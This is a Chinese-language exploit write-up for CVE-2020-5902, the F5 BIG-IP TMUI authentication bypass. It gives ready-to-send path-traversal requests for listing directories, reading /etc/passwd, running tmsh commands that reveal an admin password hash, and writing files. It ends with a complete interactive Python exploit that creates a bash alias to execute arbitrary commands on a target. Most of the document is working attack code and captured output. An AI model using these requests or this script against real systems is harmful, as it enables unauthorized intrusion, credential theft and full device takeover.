（CVE-2020-5902）F5_BIG-IP_远程命令执行漏洞-棉花糖会员站

# （CVE-2020-5902）F5 BIG-IP 远程命令执行漏洞

===

一、漏洞简介
————

本次漏洞位于F5
BIG-IP产品，流量管理用户页面（TMUI）存在认证绕过漏洞（CVE-2020-5902），导致可以未授权访问TMUI模块所有功能（包括未公开功能），漏洞影响范围包括执行任意系统命令、任意文件读取、任意文件写入、开启/禁用服务等。

二、漏洞影响
————

BIG-IP 15.x: 15.1.0/15.0.0BIG-IP 14.x: 14.1.0 \~ 14.1.2BIG-IP 13.x: 13.1.0 \~ 13.1.3BIG-IP 12.x: 12.1.0 \~ 12.1.5BIG-IP 11.x: 11.6.1 \~ 11.6.5

三、复现过程
————

### 列当前文件

/tmui/locallb/workspace/directoryList.jsp

Example:

directoryPath=/usr/local/www/

1.png

#### BurpSuite Request

GET /tmui/login.jsp/..;/tmui/locallb/workspace/directoryList.jsp?directoryPath=/usr/local/www/ HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=65ACC6C79B31335D71E4F432DB39EA50
Connection: close
Upgrade-Insecure-Requests: 1

#### BurpSuite Response

{
“dir”: “tmui”,
“children”: [
{
“dir”: “WEB-INF”,
“children”: [
{
“dir”: “classes”,
“children”: [
{
“dir”: “org”,
“children”: [
{
“dir”: “apache”,
“children”: [
{
“dir”: “jsp”,
“children”: [
{
“dir”: “common”,
“children”: [
{
“file”: “deleteconfirm_jsp.class”

……………………….

### 读取当前文件

Example:

/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd

2.png

#### BurpSuite Requests

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1

#### BurpSuite Response

{
“output”: “root:x:0:0:root:/root:/bin/bash\nbin:x:1:1:bin:/bin:/sbin/nologin\ndaemon:x:2:2:daemon:/sbin:/sbin/nologin\nadm:x:3:4:adm:/var/adm:/sbin/nologin\nlp:x:4:7:lp:/var/spool/lpd:/sbin/nologin\nmail:x:8:12:mail:/var/spool/mail:/sbin/nologin\nuucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin\noperator:x:11:0:operator:/root:/sbin/nologin\nnobody:x:99:99:Nobody:/:/sbin/nologin\ntmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin\nadmin:x:0:500:Admin User:/home/admin:/sbin/nologin\nvcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin\ndbus:x:81:81:System message bus:/:/sbin/nologin\npostgres:x:26:26:PostgreSQL Server:/var/local/pgsql/data:/sbin/nologin\nf5_remoteuser:x:499:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin\noprofile:x:16:16:Special user account to be used by OProfile:/:/sbin/nologin\ntcpdump:x:72:72::/:/sbin/nologin\nrpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin\nhsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin\napache:x:48:48:Apache:/usr/local/www:/sbin/nologin\ntomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin\nmysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin\nnamed:x:25:25:Named:/var/named:/bin/false\nqemu:x:107:107:qemu user:/:/sbin/nologin\nsshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin\nsdm:x:498:495:sdmuser:/var/sdm:/bin/false\nntp:x:38:38::/etc/ntp:/sbin/nologin\nsyscheck:x:199:10::/:/sbin/nologin\nrestnoded:x:198:198::/:/sbin/nologin\ntwister5:x:0:500:twister5:/home/twister5:/bin/bash\n”
}

#### format

root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
adm:x:3:4:adm:/var/adm:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
mail:x:8:12:mail:/var/spool/mail:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucp:/sbin/nologin
operator:x:11:0:operator:/root:/sbin/nologin
nobody:x:99:99:Nobody:/:/sbin/nologin
tmshnobody:x:32765:32765:tmshnobody:/:/sbin/nologin
admin:x:0:500:Admin User:/home/admin:/sbin/nologin
vcsa:x:69:69:virtual console memory owner:/dev:/sbin/nologin
dbus:x:81:81:System message bus:/:/sbin/nologin
postgres:x:26:26:PostgreSQL Server:/var/local/pgsql/data:/sbin/nologin
f5_remoteuser:x:499:499:f5 remote user account:/home/f5_remoteuser:/sbin/nologin
oprofile:x:16:16:Special user account to be used by OProfile:/:/sbin/nologin
tcpdump:x:72:72::/:/sbin/nologin
rpc:x:32:32:Rpcbind Daemon:/var/cache/rpcbind:/sbin/nologin
hsqldb:x:96:96::/var/lib/hsqldb:/sbin/nologin
apache:x:48:48:Apache:/usr/local/www:/sbin/nologin
tomcat:x:91:91:Apache Tomcat:/usr/share/tomcat:/sbin/nologin
mysql:x:98:98:MySQL server:/var/lib/mysql:/sbin/nologin
named:x:25:25:Named:/var/named:/bin/false
qemu:x:107:107:qemu user:/:/sbin/nologin
sshd:x:74:74:Privilege-separated SSH:/var/empty/sshd:/sbin/nologin
sdm:x:498:495:sdmuser:/var/sdm:/bin/false
ntp:x:38:38::/etc/ntp:/sbin/nologin
syscheck:x:199:10::/:/sbin/nologin
restnoded:x:198:198::/:/sbin/nologin
twister5:x:0:500:twister5:/home/twister5:/bin/bash

### 远程命令执行

Example:

/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin

`list auth user` look all user

`list auth user admin` only look admin user

https://devcentral.f5.com/s/question/0D51T00006i7hq9/tmsh-command-to-list-all-users-in-all-partitions3.png

GET /tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+auth+user+admin HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
{
“error”: “”,
“output”: “auth user admin {\n description \”Admin User\”\n encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1\n partition Common\n partition-access {\n all-partitions {\n role admin\n }\n }\n shell tmsh\n}\n”
}

#### format

description “Admin User”
encrypted-password $6$bEhBobYGG3$zmQ.k2Yw4E3iOAJu1jDIrE.LClSUq6xdLyNTvgDy14FIeDsxdnwAxkxUlpSQ7F60Y3tzKsUAKz.2qRtPLa.dx1
partition Common
partition-access {
all-partitions {
role admin
}
}
shell tmsh
}

#### WorkspaceUtils.runTmshCommand

JSONObject resultObject = WorkspaceUtils.runTmshCommand(cmd, request);
/usr/local/www/tmui/WEB-INF/lib/tmui.jar/com.f5.tmui.locallb.handler.workspace.WorkspaceUtils#runTmshCommand
public static JSONObject runTmshCommand(String command, HttpServletRequest request) {
F5Logger logger = (F5Logger)F5Logger.getLogger(WorkspaceUtils.class);
JSONObject resultObject = new JSONObject();
String output = “”;
String error = “”;
if (!csrfValidated(request.getHeader(“_bufvalue”), request.getHeader(“_timenow”), request.getHeader(“Tmui-Dubbuf”))) {
logger.warn(“Invalid user token – token provided by user is not authorized”);
resultObject.put(“output”, output);
resultObject.put(“error”, NLSEngine.getString(“ilx.workspace.error.InvalidUserToken”));
return resultObject;
}
if (“POST”.equalsIgnoreCase(request.getMethod())) {
String[] cmdArray = command.split(” “);
String operation = cmdArray[0];
String module = cmdArray[2];
if (!ShellCommandValidator.checkForBadShellCharacters(command) && (operation.equals(“create”) || operation.equals(“delete”) || operation.equals(“list”) || operation.equals(“modify”)) && WHITELISTED_TMSH_MODULES.contains(module)) {
try {
String[] args = { command };
Syscall.Result result = Syscall.callElevated(Syscall.TMSH, args);
output = result.getOutput();
error = result.getError();
} catch (com.f5.tmui.util.Syscall.CallException e) {
logger.error(NLSEngine.getString(“ilx.workspace.error.TmshCommandFailed”) + “: ” + e.getMessage());
error = e.getMessage();
}
} else {
error = NLSEngine.getString(“ilx.workspace.error.RejectedTmshCommand”);
}
} else {
error = NLSEngine.getString(“ilx.workspace.error.InvalidMethod”);
}
resultObject.put(“output”, output);
resultObject.put(“error”, error);
return resultObject;
}

### 文件上传

Example: `/tmui/locallb/workspace/fileSave.jsp`

POST: `fileName=/tmp/1.txt&content=CVE-2020-5902`

4.png

#### Burpsuite Requests

POST /tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 41

fileName=/tmp/1.txt&content=CVE-2020-5902

HTTP/1.1 200 OK
Date: Mon, 06 Jul 2020 02:05:29 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’ data: blob:; img-src ‘self’ data: http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 4
Connection: close

#### File Read /tmp/1.txt

5.png

GET /tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/tmp/1.txt HTTP/1.1
Host: www.0-sec.org
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.1 200 OK
Date: Mon, 06 Jul 2020 02:06:07 GMT
X-Frame-Options: SAMEORIGIN
Strict-Transport-Security: max-age=16070400; includeSubDomains
Set-Cookie: JSESSIONID=x; Path=/tmui; Secure; HttpOnly
Content-Type: text/html;charset=ISO-8859-1
X-Content-Type-Options: nosniff
X-XSS-Protection: 1; mode=block
Content-Security-Policy: default-src ‘self’ ‘unsafe-inline’ ‘unsafe-eval’ data: blob:; img-src ‘self’ data: http://127.4.1.1 http://127.4.2.1
Vary: Accept-Encoding
Content-Length: 32
Connection: close

{“output”:”CVE-2020-5902\n”}

#### upload /tmp/1.txt Successful ！

### poc

6.png

#coding:utf-8
import requests
import json
import requests.packages.urllib3
requests.packages.urllib3.disable_warnings()
import uuid
import sys

# tmshCmd.jsp?command=create+cli+alias+private+list+command+bash
# fileSave.jsp?fileName=/tmp/cmd&content=id
# tmshCmd.jsp?command=list+/tmp/cmd
# tmshCmd.jsp?command=delete+cli+alias+private+list

banner = r”’
_______ _______ ______ _________ _______ _________ _______ _______ _______ _______
( ____ \( ____ \ ( ___ \ \__ __/( ____ \ \__ __/( ____ ) ( ____ )( ____ \( ____ | ( \/| ( \/ | ( ) ) ) ( | ( \/ ) ( | ( )| | ( )|| ( \/| ( \/
| (__ | (____ | (__/ / | | | | | | | (____)| | (____)|| | | (__
| __) (_____ \ | __ ( | | | | ____ | | | _____) | __)| | | __)
| ( ) ) | ( \ \ | | | | \_ ) | | | ( | (\ ( | | | (
| ) /\____) ) | )___) )___) (___| (___) | ___) (___| ) | ) \ \__| (____/\| (____/ |/ \______/ |/ \___/ \_______/(_______) \_______/|/ |/ \__/(_______/(_______/

CVE-2020-5902 UnAuth RCE Vuln
Python By Jas502n
From: https://github.com/rapid7/metasploit-framework/blob/0417e88ff24bf05b8874c953bd91600f10186ba4/modules/exploits/linux/http/f5_bigip_tmui_rce.rb
____________________________________________________________________________________________________________________________________________________
”’

def tmshCmd_exit(url,file,cmd):
tmshCmd_url = url + “/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=create+cli+alias+private+list+command+bash”
proxies = {“http”:”http://127.0.0.1:8080″,”https”:”https://127.0.0.1:8080″}
r = requests.get(tmshCmd_url,verify=False,allow_redirects=False)
# r = requests.get(tmshCmd_url,verify=False,allow_redirects=False,proxies=proxies)

response_str = json.dumps(r.headers.__dict__[‘_store’])
# print type(response_str)
# print response_str
if r.status_code == 200 and ‘tmui’ in response_str:
# print tmshCmd_url
print “[+] tmshCmd.jsp Exit!”
print “[+] create cli alias private list command bash \n”
# cmd = ‘whoami’
upload_exit(url,file,cmd)

else:
print “[+] tmshCmd.jsp No Exit!\n”

def upload_exit(url,file,cmd):
fileSave_url = url + “/tmui/login.jsp/..;/tmui/locallb/workspace/fileSave.jsp?fileName=/tmp/%s&content=”%file + cmd
proxies = {“http”:”http://127.0.0.1:8080″,”https”:”https://127.0.0.1:8080″}
r = requests.get(fileSave_url,verify=False,allow_redirects=False)
# r = requests.get(fileSave_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__[‘_store’])
if r.status_code == 200 and ‘tmui’ in response_str:
# print fileSave_url
print “[+] fileSave.jsp Exit!\n”
list_command(url,file)
else:
print “[+] fileSave.jsp No Exit!\n”

def list_command(url,file):
rce_url = url + “/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=list+/tmp/%s” % file
proxies = {“http”:”http://127.0.0.1:8080″,”https”:”https://127.0.0.1:8080″}
r = requests.get(rce_url,verify=False,allow_redirects=False)
# r = requests.get(rce_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__[‘_store’])
# print len(r.content)
if r.status_code == 200 and ‘tmui’ in response_str:
if len(r.content) > 33:
# print rce_url
print “[+] Command Successfull !\n”
command_result = json.loads(r.content)
print “_”*90,’\n\n’
print command_result[‘output’]
print “_”*90,”\n\n”
delete_list(url)
else:
print “[+] Command Failed !\n”

def delete_list(url):
delete_url = url + ‘/tmui/login.jsp/..;/tmui/locallb/workspace/tmshCmd.jsp?command=delete+cli+alias+private+list’
proxies = {“http”:”http://127.0.0.1:8080″,”https”:”https://127.0.0.1:8080″}
r = requests.get(delete_url,verify=False,allow_redirects=False)
# r = requests.get(delete_url,verify=False,allow_redirects=False,proxies=proxies)
response_str = json.dumps(r.headers.__dict__[‘_store’])
if r.status_code == 200 and ‘tmui’ in response_str:
# print delete_url
print “[+] delete cli alias private list Successfull! \n”
else:
print “[+] delete cli alias private list Failed! \n”

if __name__ == ‘__main__’:
print banner
while 1:
url = “https://x.x.x.x/”
# url = sys.argv[1]
file = str(uuid.uuid1())
print “/tmp/” + file,”\n”
cmd = raw_input(“[+]Set Cmd= “)
print
tmshCmd_exit(url,file,cmd)

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